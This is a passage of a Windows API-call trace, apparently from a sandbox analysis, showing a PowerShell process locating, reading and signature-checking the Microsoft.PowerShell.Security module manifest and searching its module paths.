(dwNewMode=0x1, lpOldMode=0x5a2e1e0) returned 1 [0173.201] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e440) returned 1 [0173.201] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security\\microsoft.powershell.security.psd1")) returned 0x20 [0173.201] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x74 [0173.201] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1", nBufferLength=0x74, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1", lpFilePart=0x0) returned 0x73 [0173.201] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x74 [0173.201] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1", nBufferLength=0x74, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1", lpFilePart=0x0) returned 0x73 [0173.202] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e8) returned 1 [0173.202] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security\\microsoft.powershell.security.psd1"), fInfoLevelId=0x0, lpFileInformation=0x230ddb0 | out: lpFileInformation=0x230ddb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x2ef)) returned 1 [0173.202] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e4) returned 1 [0173.202] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x74 [0173.202] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1", nBufferLength=0x74, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1", lpFilePart=0x0) returned 0x73 [0173.202] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e350) returned 1 [0173.203] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security\\microsoft.powershell.security.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x450 [0173.203] GetFileType (hFile=0x450) returned 0x1 [0173.203] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e34c) returned 1 [0173.203] GetFileType (hFile=0x450) returned 0x1 [0173.204] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2e38c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2e38c*=0) returned 0x0 [0173.204] ReadFile (in: hFile=0x450, lpBuffer=0x230ebe8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e3b8, lpOverlapped=0x0 | out: lpBuffer=0x230ebe8*, lpNumberOfBytesRead=0x5a2e3b8*=0x2ef, lpOverlapped=0x0) returned 1 [0173.209] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2e38c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2e38c*=0) returned 0x2ef [0173.209] ReadFile (in: hFile=0x450, lpBuffer=0x230ebe8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e3b8, lpOverlapped=0x0 | out: lpBuffer=0x230ebe8*, lpNumberOfBytesRead=0x5a2e3b8*=0x0, lpOverlapped=0x0) returned 1 [0173.209] CloseHandle (hObject=0x450) returned 1 [0173.210] CoCreateGuid (in: pguid=0x5a2e4b8 | out: pguid=0x5a2e4b8*(Data1=0x20b2be8c, Data2=0x1db9, Data3=0x46aa, Data4=([0]=0x89, [1]=0x38, [2]=0x31, [3]=0x2c, [4]=0x4b, [5]=0x17, [6]=0x41, [7]=0x7b))) returned 0x0 [0173.211] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x450 [0173.211] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x454 [0173.211] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x458 [0173.212] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x45c [0173.212] SetEvent (hEvent=0x45c) returned 1 [0173.212] SetEvent (hEvent=0x450) returned 1 [0173.212] SetEvent (hEvent=0x454) returned 1 [0173.212] SetEvent (hEvent=0x458) returned 1 [0173.212] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x460 [0173.212] SetThreadUILanguage (LangId=0x0) returned 0x409 [0173.214] EtwEventActivityIdControl () returned 0x0 [0173.215] EtwEventActivityIdControl () returned 0x0 [0173.215] EtwEventActivityIdControl () returned 0x0 [0173.225] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security\\microsoft.powershell.security.psd1")) returned 0x20 [0173.227] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x74 [0173.227] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1", nBufferLength=0x74, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1", lpFilePart=0x0) returned 0x73 [0173.227] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dce4) returned 1 [0173.227] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security\\microsoft.powershell.security.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a2dfa8 | out: lpFileInformation=0x5a2dfa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x2ef)) returned 1 [0173.227] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dce0) returned 1 [0173.227] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security\\microsoft.powershell.security.psd1")) returned 0x20 [0173.227] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x74 [0173.227] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1", nBufferLength=0x74, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1", lpFilePart=0x0) returned 0x73 [0173.228] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x5a2dbec, Length=0x20, ResultLength=0x5a2dc5c | out: SystemInformation=0x5a2dbec, ResultLength=0x5a2dc5c*=0x0) returned 0xc0000003 [0173.228] GetSystemInfo (in: lpSystemInfo=0x5a2dc68 | out: lpSystemInfo=0x5a2dc68*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x6a06)) [0173.229] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2dbf8 | out: phkResult=0x5a2dbf8*=0x468) returned 0x0 [0173.230] RegQueryValueExW (in: hKey=0x468, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x5a2dc14, lpData=0x0, lpcbData=0x5a2dc10*=0x0 | out: lpType=0x5a2dc14*=0x0, lpData=0x0, lpcbData=0x5a2dc10*=0x0) returned 0x2 [0173.230] RegCloseKey (hKey=0x468) returned 0x0 [0173.230] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x74 [0173.230] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1", nBufferLength=0x74, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1", lpFilePart=0x0) returned 0x73 [0173.230] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2db70) returned 1 [0173.231] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security\\microsoft.powershell.security.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x468 [0173.231] GetFileType (hFile=0x468) returned 0x1 [0173.231] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2db6c) returned 1 [0173.231] GetFileType (hFile=0x468) returned 0x1 [0173.231] SetFilePointer (in: hFile=0x468, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2dbac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2dbac*=0) returned 0x0 [0173.232] ReadFile (in: hFile=0x468, lpBuffer=0x2321590, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2dbd8, lpOverlapped=0x0 | out: lpBuffer=0x2321590*, lpNumberOfBytesRead=0x5a2dbd8*=0x2ef, lpOverlapped=0x0) returned 1 [0173.232] SetFilePointer (in: hFile=0x468, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2dbac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2dbac*=0) returned 0x2ef [0173.232] ReadFile (in: hFile=0x468, lpBuffer=0x2321590, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2dbd8, lpOverlapped=0x0 | out: lpBuffer=0x2321590*, lpNumberOfBytesRead=0x5a2dbd8*=0x0, lpOverlapped=0x0) returned 1 [0173.232] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x5a2db40, Length=0x20, ResultLength=0x5a2dbb0 | out: SystemInformation=0x5a2db40, ResultLength=0x5a2dbb0*=0x0) returned 0xc0000003 [0173.232] GetSystemInfo (in: lpSystemInfo=0x5a2dbbc | out: lpSystemInfo=0x5a2dbbc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x6a06)) [0173.233] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2db4c | out: phkResult=0x5a2db4c*=0x46c) returned 0x0 [0173.233] RegQueryValueExW (in: hKey=0x46c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x5a2db68, lpData=0x0, lpcbData=0x5a2db64*=0x0 | out: lpType=0x5a2db68*=0x0, lpData=0x0, lpcbData=0x5a2db64*=0x0) returned 0x2 [0173.233] RegCloseKey (hKey=0x46c) returned 0x0 [0173.233] CloseHandle (hObject=0x468) returned 1 [0173.234] CoCreateGuid (in: pguid=0x5a2dc3c | out: pguid=0x5a2dc3c*(Data1=0x5c037e5c, Data2=0x7fe6, Data3=0x4dc0, Data4=([0]=0xa8, [1]=0x33, [2]=0x7e, [3]=0xec, [4]=0xa5, [5]=0xcd, [6]=0xc3, [7]=0xa0))) returned 0x0 [0173.235] QueryPerformanceCounter (in: lpPerformanceCount=0x5a2d99c | out: lpPerformanceCount=0x5a2d99c*=3250187043592) returned 1 [0173.287] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x74 [0173.287] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1", nBufferLength=0x74, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1", lpFilePart=0x0) returned 0x73 [0173.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d688) returned 1 [0173.288] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security\\microsoft.powershell.security.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a2d94c | out: lpFileInformation=0x5a2d94c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x2ef)) returned 1 [0173.288] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d684) returned 1 [0173.288] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x74 [0173.288] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1", nBufferLength=0x74, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1", lpFilePart=0x0) returned 0x73 [0173.288] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x74 [0173.289] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1", nBufferLength=0x74, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1", lpFilePart=0x0) returned 0x73 [0173.289] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d61c) returned 1 [0173.289] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security\\microsoft.powershell.security.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a2d8e0 | out: lpFileInformation=0x5a2d8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x2ef)) returned 1 [0173.289] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d618) returned 1 [0173.289] CoTaskMemAlloc (cb=0x10) returned 0x5c831e0 [0173.289] CoTaskMemAlloc (cb=0x10) returned 0x5c83228 [0173.289] CoTaskMemAlloc (cb=0xe8) returned 0x393860 [0173.289] CoTaskMemAlloc (cb=0x30) returned 0x3e9018 [0173.289] WinVerifyTrust () returned 0x800b0100 [0173.305] CoTaskMemFree (pv=0x5c831e0) [0173.305] CoTaskMemFree (pv=0x3e9018) [0173.305] CryptCATHandleFromStore () returned 0x36d8e0 [0173.305] WTHelperGetProvSignerFromChain () returned 0x0 [0173.305] CoTaskMemAlloc (cb=0x10) returned 0x5c831e0 [0173.305] CoTaskMemAlloc (cb=0x30) returned 0x3e9018 [0173.306] WinVerifyTrust () returned 0x0 [0173.306] CoTaskMemFree (pv=0x3e9018) [0173.306] CoTaskMemFree (pv=0x5c831e0) [0173.306] CoTaskMemFree (pv=0x393860) [0173.306] CoTaskMemFree (pv=0x5c83228) [0173.312] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\en-US\\Microsoft.PowerShell.Security.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security\\en-us\\microsoft.powershell.security.psd1")) returned 0xffffffff [0173.312] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\en\\Microsoft.PowerShell.Security.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security\\en\\microsoft.powershell.security.psd1")) returned 0xffffffff [0173.313] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x74 [0173.313] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1", nBufferLength=0x74, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1", lpFilePart=0x0) returned 0x73 [0173.313] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0173.313] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x51, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", lpFilePart=0x0) returned 0x50 [0173.319] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\PSGetModuleInfo.xml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x65 [0173.319] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\PSGetModuleInfo.xml", nBufferLength=0x65, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\PSGetModuleInfo.xml", lpFilePart=0x0) returned 0x64 [0173.319] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d0d8) returned 1 [0173.319] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\PSGetModuleInfo.xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security\\psgetmoduleinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x5a2d39c | out: lpFileInformation=0x5a2d39c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0173.320] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d0d4) returned 1 [0173.320] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security\\microsoft.powershell.security.dll")) returned 0xffffffff [0173.320] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.dll\\Microsoft.PowerShell.Security.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security\\microsoft.powershell.security.dll\\microsoft.powershell.security.dll")) returned 0xffffffff [0173.320] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x5a2d04c, nSize=0xc9 | out: lpBuffer="") returned 0xc5 [0173.496] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0173.497] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0173.498] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x49, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Security", lpFilePart=0x0) returned 0x48 [0173.498] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2cee0) returned 1 [0173.498] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Security" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.security"), fInfoLevelId=0x0, lpFileInformation=0x5a2d1a4 | out: lpFileInformation=0x5a2d1a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0173.498] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2cedc) returned 1 [0173.503] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.security\\microsoft.powershell.security.dll")) returned 0xffffffff [0173.508] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules")) returned 0x10 [0173.509] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x55 [0173.509] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x55, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Security", lpFilePart=0x0) returned 0x54 [0173.509] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2cee0) returned 1 [0173.510] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Security" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\microsoft.powershell.security"), fInfoLevelId=0x0, lpFileInformation=0x5a2d1a4 | out: lpFileInformation=0x5a2d1a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0173.510] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2cedc) returned 1 [0173.515] 